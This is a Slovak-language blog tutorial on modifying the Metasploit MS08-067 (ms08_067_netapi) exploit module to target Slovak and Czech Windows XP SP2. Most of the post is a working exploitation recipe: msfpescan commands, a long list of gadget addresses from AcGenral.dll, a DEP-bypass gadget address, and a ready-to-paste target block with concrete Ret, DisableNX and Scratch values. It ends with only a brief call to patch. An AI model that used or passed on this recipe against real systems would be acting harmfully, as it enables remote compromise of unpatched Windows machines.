Hacking DVD BackTrack, Linux, Hashe RSS Feed twitter airdump.cz BackTrack 3 4 5 6 CZ
Security a Tip
Donate a Sponzor

Úprava Metasploit exploitu (modul) – pre slovenský a český Windows

Metasploit Framework tutoriál Na Security Fóre sa objavila zaujímavá otázka ohľadom exploitácie slovenskej verzie operačného systému Windows XP (postup je totožný i pre českú lokalizáciu). Použitie Metaspl0it Frameworku proti inej než anglickej verzii operačného systému končí hláškou Fingerprint: Windows XP Service Pack 2 – lang:Unknown. Pre úspešnú exploitáciu je vyžadovaný zásah do exploitu (metasploit modulu ms08_067_netapi). V návode pracujeme so slovenskou verziou operačného systému Microsoft Windows XP SP2.

Súčasný modul Metasploit Framework 3.3 dev obsahuje „podporu“ pre 57 rôznych jazykových mutácií operačných systémov Windows 2000, Windows 2003 SP0-SP2, Windows XP SP0-SP3. Exploitácia Windows XP SP2 ENG je celkom jednoduchá záležitosť.

Metasploit anglická verze

Po inštalácii Windows Language Interface pack, t.j. jazykový preklad do slovenského jazyka, prípadne pri teste slovenskej verzie tohto operačného systému sa však situácia radikálne mení.

Metasploit slovenská česká lokalizace

Následuje rekonštukcia… Po krátkom bádaní v tele modulu nachádzame poznámky autora exploitu – HDM ohľadom tejto špecifickej situácie. Z textu je jasné, že si potrebujeme zaobstarať knižnicu AcGenral.dll zo systému, ktorého jazyková mutácia je Metasploit modulu neznáma. Analýzou tejto knižnice je potrebné získať tri údaje:

Ret =>
DisableNX =>
Scratch =>

Tieto adresy sú rozdielne podľa operačného systému, service packu, alebo jazkykovej mutácie. Nájdeme požadovanú knižnicu. Klasika, štart, hľadať, Copy, Paste. V čerstvej inštalácii sa nachádzala v zložke C://WINDOWS/AppPatch. Prekopírujeme do obľúbeného operačného systému – BackTrack..

Metasploit acgenral

I. krok

V prvom rade potrebujeme získať adresu Ret elementu knižnice nasledujúcim príkazom:

./msfpescan -j esi AcGenral.dll

Výsledok:

[AcGenral.dll]
0x6f88f727 call esi
0x6f891418 call esi
0x6f89145f call esi
0x6f8917cb call esi
0x6f8917d6 call esi
0x6f892a52 call esi
0x6f892a57 call esi
0x6f892a85 call esi
0x6f892a90 call esi
0x6f892ab4 call esi
0x6f892aba call esi
0x6f892b0a call esi
0x6f892b0f call esi
0x6f8933b6 call esi
0x6f893426 call esi
0x6f89524e call esi
0x6f895255 call esi
0x6f8952ce call esi
0x6f8952d5 call esi
0x6f89597a call esi
0x6f8959a8 call esi
0x6f8959f7 call esi
0x6f8959fc call esi
0x6f89687b call esi
0x6f89687e call esi
0x6f896881 call esi
0x6f896922 call esi
0x6f89695e call esi
0x6f89696e call esi
0x6f897ecb call esi
0x6f897ed5 call esi
0x6f89844a call esi
0x6f89af60 call esi
0x6f89d7db call esi
0x6f89d7e3 call esi
0x6f89d9be call esi
0x6f89d9d6 call esi
0x6f89d9e9 call esi
0x6f89da01 call esi
0x6f89da14 call esi
0x6f89da2c call esi
0x6f89da43 call esi
0x6f89da59 call esi
0x6f89da82 call esi
0x6f89db62 call esi
0x6f89db80 call esi
0x6f89db93 call esi
0x6f89dbab call esi
0x6f89dbc0 call esi
0x6f89dd58 call esi
0x6f89ddc5 call esi
0x6f89df6b call esi
0x6f89df80 call esi
0x6f89e00b call esi
0x6f89e01b call esi
0x6f8a1136 call esi
0x6f8a1153 call esi
0x6f8a11e1 call esi
0x6f8a11ff call esi
0x6f8a3605 call esi
0x6f8a3618 call esi
0x6f8a364f call esi
0x6f8a3662 call esi
0x6f8a3699 call esi
0x6f8a36ac call esi
0x6f8a4d2b call esi
0x6f8a4d54 call esi
0x6f8a4d7d call esi
0x6f8a4da6 call esi
0x6f8a4dcf call esi
0x6f8a4df8 call esi
0x6f8a4e21 call esi
0x6f8a4e4a call esi
0x6f8a4e73 call esi
0x6f8a86e8 call esi
0x6f8a871f call esi
0x6f8a8752 call esi
0x6f8a8775 call esi
0x6f8ab829 push esi; ret
0x6f8ab872 push esi; ret
0x6f8ab8ab push esi; ret — Náhodne vyberieme a použijeme.
0x6f8ac78a call esi
0x6f8ac7e5 call esi
0x6f8ace32 call esi
0x6f8ace43 call esi
0x6f8ace50 call esi
0x6f8ace66 call esi
0x6f8ace77 call esi
0x6f8adec1 call esi
0x6f8aded4 call esi
0x6f8b0fdf call esi

Z výstupu je dovolené vybrať akúkoľvek hodnotu, ktorá neobsahuje 00 0a 0d 5c 2f 2e.

II. krok

Následne zistíme umiestnenie funkcie, ktorú exploit používa na zablokovanie DEP príkazom:

./msfpescan -r „\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF“ AcGenral.dll

Výsledok:

[AcGenral.dll]
0x6f8916e2 6a048d4508506a226aff

III. krok

Scratch element je pre všetky verzie Windows adresa 0x00020408.

Získali sme všetky potrebné údaje, otvoríme exploit v ľubovoľnom textovom editore a pridáme nasledovný kód:

# Metasploit’s NX bypass for XP SP2/SP3
[ ‚Windows XP SP2 Slovak (NX)‘,
{
‚Ret‘ => 0x6f8ab8ab,
‚DisableNX‘ => 0x6f8916e2,
‚Scratch‘ => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Po úprave exploitu sa v zozname cieľov zobrazuje aj Slovenská verzia Windows XP SP2:

Metasploit konzole

Následne output hovorí sám za seba:

Metasploit exploit ms08-067

Po odoslaní tohto maličkého vylepšenia developerom MSF som náhodne zablúdil na stránku avertlabs.com a zistil, akým spôsobom vírus Conficker ( derivát MS08-067 ) napáda jazykové mutácie operačného systému Windows. Patchujte!

diskuze metasploit

Kredit patrí autorovi exploitu, táto úprava by sa nepodarila bez jeho fantastických poznámok a komentárov.

Pre AMP Sec napísal M1

Kam dál?



Přihlásit / Odhlásit odběr novinek

Počet přihlášených k odběru novinek

    2573